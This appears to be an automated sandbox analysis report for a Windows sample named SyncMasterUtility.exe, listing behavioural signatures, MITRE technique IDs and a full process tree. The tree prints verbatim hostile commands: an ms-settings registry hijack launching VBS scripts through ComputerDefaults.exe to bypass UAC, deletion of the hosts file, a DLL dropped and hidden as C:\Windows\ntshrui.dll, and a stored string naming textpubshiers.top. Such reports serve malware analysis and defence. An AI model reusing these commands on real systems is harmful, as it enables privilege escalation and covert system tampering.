f52b9ee73c31b8f3bd95c8ef92ffc5f2d0821b454c42bd28add936b8d14bc48d

Analysis

max time kernel
138s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11/08/2024, 15:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

SyncMasterUtility.exe
Size

217KB
MD5

dab98637d37b0462c1963dd23e0e0393
SHA1

8f64468546cd0cb0d900ad0db554a532e31027bc
SHA256

f52b9ee73c31b8f3bd95c8ef92ffc5f2d0821b454c42bd28add936b8d14bc48d
SHA512

f959d30ae5aedc8d51e1b8f09a844c0705c0038f061a93625d137a2330e9c5d18ab914f70404b3cd5a701332da4a0025846a638e30ef20ddee37b0d917ff14ad
SSDEEP

6144:DfglcIbGetWc2fJZF7mkUwDseTOEEgV/K11:DIHGF7mkUwFqG/Kz

Score

7^/10

defense_evasion

Malware Config

Signatures

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
28	raw.githubusercontent.com
29	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
59	checkip.amazonaws.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3776	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ntshrui.dll	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 58 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\100162.vbs"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\roblox	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\431557.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	taskmgr.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\594634.vbs"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\599822.vbs"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\547499.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\roblox\name = "extlnf61w2b3dbkkutz6qzj6txl4id:G5D8nwVeV4WckaxLM001:textpubshiers.top"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\ms-settings\Shell	reg.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	524	taskmgr.exe
Token: SeSystemProfilePrivilege	524	taskmgr.exe
Token: SeCreateGlobalPrivilege	524	taskmgr.exe
Token: 33	524	taskmgr.exe
Token: SeIncBasePriorityPrivilege	524	taskmgr.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe

Suspicious use of SendNotifyMessage 42 IoCs

pid	Process
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe
524	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 4896	1748	SyncMasterUtility.exe	88
PID 1748 wrote to memory of 4896	1748	SyncMasterUtility.exe	88
PID 4896 wrote to memory of 208	4896	cmd.exe	90
PID 4896 wrote to memory of 208	4896	cmd.exe	90
PID 1748 wrote to memory of 4952	1748	SyncMasterUtility.exe	91
PID 1748 wrote to memory of 4952	1748	SyncMasterUtility.exe	91
PID 4952 wrote to memory of 3356	4952	cmd.exe	93
PID 4952 wrote to memory of 3356	4952	cmd.exe	93
PID 4952 wrote to memory of 2472	4952	cmd.exe	94
PID 4952 wrote to memory of 2472	4952	cmd.exe	94
PID 1748 wrote to memory of 3016	1748	SyncMasterUtility.exe	97
PID 1748 wrote to memory of 3016	1748	SyncMasterUtility.exe	97
PID 3016 wrote to memory of 3796	3016	cmd.exe	99
PID 3016 wrote to memory of 3796	3016	cmd.exe	99
PID 3796 wrote to memory of 4072	3796	ComputerDefaults.exe	100
PID 3796 wrote to memory of 4072	3796	ComputerDefaults.exe	100
PID 4072 wrote to memory of 2308	4072	wscript.exe	101
PID 4072 wrote to memory of 2308	4072	wscript.exe	101
PID 1748 wrote to memory of 4660	1748	SyncMasterUtility.exe	105
PID 1748 wrote to memory of 4660	1748	SyncMasterUtility.exe	105
PID 1748 wrote to memory of 3120	1748	SyncMasterUtility.exe	107
PID 1748 wrote to memory of 3120	1748	SyncMasterUtility.exe	107
PID 3120 wrote to memory of 4412	3120	cmd.exe	109
PID 3120 wrote to memory of 4412	3120	cmd.exe	109
PID 1748 wrote to memory of 4264	1748	SyncMasterUtility.exe	112
PID 1748 wrote to memory of 4264	1748	SyncMasterUtility.exe	112
PID 4264 wrote to memory of 1724	4264	cmd.exe	114
PID 4264 wrote to memory of 1724	4264	cmd.exe	114
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 1748 wrote to memory of 4924	1748	SyncMasterUtility.exe	116
PID 4924 wrote to memory of 1644	4924	dllhost.exe	119
PID 4924 wrote to memory of 1644	4924	dllhost.exe	119
PID 1644 wrote to memory of 1508	1644	cmd.exe	121
PID 1644 wrote to memory of 1508	1644	cmd.exe	121
PID 4924 wrote to memory of 4708	4924	dllhost.exe	122
PID 4924 wrote to memory of 4708	4924	dllhost.exe	122
PID 4708 wrote to memory of 4772	4708	cmd.exe	124
PID 4708 wrote to memory of 4772	4708	cmd.exe	124
PID 4708 wrote to memory of 848	4708	cmd.exe	125
PID 4708 wrote to memory of 848	4708	cmd.exe	125
PID 4924 wrote to memory of 3568	4924	dllhost.exe	126
PID 4924 wrote to memory of 3568	4924	dllhost.exe	126
PID 3568 wrote to memory of 2288	3568	cmd.exe	128
PID 3568 wrote to memory of 2288	3568	cmd.exe	128
PID 2288 wrote to memory of 1068	2288	ComputerDefaults.exe	129
PID 2288 wrote to memory of 1068	2288	ComputerDefaults.exe	129
PID 1068 wrote to memory of 3920	1068	wscript.exe	130
PID 1068 wrote to memory of 3920	1068	wscript.exe	130
PID 3920 wrote to memory of 4496	3920	cmd.exe	132
PID 3920 wrote to memory of 4496	3920	cmd.exe	132
PID 4924 wrote to memory of 4512	4924	dllhost.exe	133
PID 4924 wrote to memory of 4512	4924	dllhost.exe	133
PID 4924 wrote to memory of 1316	4924	dllhost.exe	135
PID 4924 wrote to memory of 1316	4924	dllhost.exe	135
PID 1316 wrote to memory of 668	1316	cmd.exe	137

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4824	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SyncMasterUtility.exe
"C:\Users\Admin\AppData\Local\Temp\SyncMasterUtility.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:208
- C:\Windows\system32\cmd.exe
  /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\594634.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\594634.vbs" /f
    3⤵
    - Modifies registry class
    PID:3356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2472
- C:\Windows\system32\cmd.exe
  /c start /B ComputerDefaults.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3796
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" C:\Users\Admin\AppData\Local\Temp\594634.vbs
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4072
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
        5⤵
        
        PID:2308
- C:\Windows\system32\cmd.exe
  /c del /f C:\Users\Admin\AppData\Local\Temp\594634.vbs
  2⤵
  PID:4660
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Modifies registry class
    PID:4412
- C:\Windows\system32\cmd.exe
  /c reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\roblox" /v name /t REG_SZ /d "extlnf61w2b3dbkkutz6qzj6txl4id:G5D8nwVeV4WckaxLM001:textpubshiers.top" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\roblox" /v name /t REG_SZ /d "extlnf61w2b3dbkkutz6qzj6txl4id:G5D8nwVeV4WckaxLM001:textpubshiers.top" /f
    3⤵
    - Modifies registry class
    PID:1724
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1508
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\431557.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\431557.vbs" /f
      4⤵
      Modifies registry class
      PID:4772
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:848
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2288
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\431557.vbs
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1068
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\roblox" /v name /f
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3920
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\roblox" /v name /f
        7⤵
        
        PID:4496
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\431557.vbs
    3⤵
    PID:4512
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:668
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:4200
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:4260
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\100162.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    PID:4168
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\100162.vbs" /f
      4⤵
      Modifies registry class
      PID:1472
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1672
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    PID:4308
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:1448
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\100162.vbs
        5⤵
        Checks computer location settings
        
        PID:1084
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\9541245.tmp" "C:\Windows\ntshrui.dll"
        6⤵
        
        PID:704
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\100162.vbs
    3⤵
    PID:4872
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:4072
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:2732
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:3152
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:3456
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\599822.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    PID:5096
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\599822.vbs" /f
      4⤵
      Modifies registry class
      PID:696
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:4480
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    PID:2980
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:2352
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\599822.vbs
        5⤵
        Checks computer location settings
        
        PID:2092
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C attrib +h "C:\Windows\ntshrui.dll"
        6⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:3776
        
        C:\Windows\system32\attrib.exe
        
        attrib +h "C:\Windows\ntshrui.dll"
        7⤵
        Drops file in Windows directory
        Views/modifies file attributes
        
        PID:4824
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\599822.vbs
    3⤵
    PID:1016
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:4048
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:1424
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:3192
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1324
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\547499.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    PID:5064
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\547499.vbs" /f
      4⤵
      Modifies registry class
      PID:4860
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1064
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    PID:2956
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:4552
    - - C:\Windows\system32\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\547499.vbs
        5⤵
        Checks computer location settings
        
        PID:1084
